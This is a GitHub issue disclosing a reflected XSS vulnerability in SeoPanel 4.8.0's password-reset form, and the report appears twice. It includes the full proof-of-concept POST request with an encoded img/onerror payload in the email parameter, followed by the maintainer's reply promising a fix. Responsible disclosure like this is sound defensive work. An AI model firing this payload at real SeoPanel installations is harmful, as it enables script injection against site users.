Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
SeoPanel is vulnerable to reflect XSS due to lack of filtration of user-supplied [NO Autenticated User] Environment
SeoPanel version: 4.8.0 Last Version
Parameter: name="email"
PoC POST /seo/seopanel/login.php?sec=forgot HTTP/1.1 Host: xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 114 Origin: xxx DNT: 1 Connection: close Referer: xxx Cookie: hidenews=1; PHPSESSID=xxx Upgrade-Insecure-Requests: 1
sec=requestpass&email=test%40test.ttv3e5i%22%3e%3cimg%20src%3da%20onerror%3dalert("Xss")%3egcuak&code=OVJDT&login=
I'm going to request CVE
The text was updated successfully, but these errors were encountered:
Thanks for reporting it. We will release fix for it in next version released this month.
Thanks again for your great support.
Sorry, something went wrong.
3c72b8c
sendtogeo
No branches or pull requests
SeoPanel is vulnerable to reflect XSS due to lack of filtration of user-supplied [NO Autenticated User]
Environment
SeoPanel version: 4.8.0 Last Version
Parameter:
name="email"
PoC
POST /seo/seopanel/login.php?sec=forgot HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Origin: xxx
DNT: 1
Connection: close
Referer: xxx
Cookie: hidenews=1; PHPSESSID=xxx
Upgrade-Insecure-Requests: 1
sec=requestpass&email=test%40test.ttv3e5i%22%3e%3cimg%20src%3da%20onerror%3dalert("Xss")%3egcuak&code=OVJDT&login=
I'm going to request CVE
The text was updated successfully, but these errors were encountered: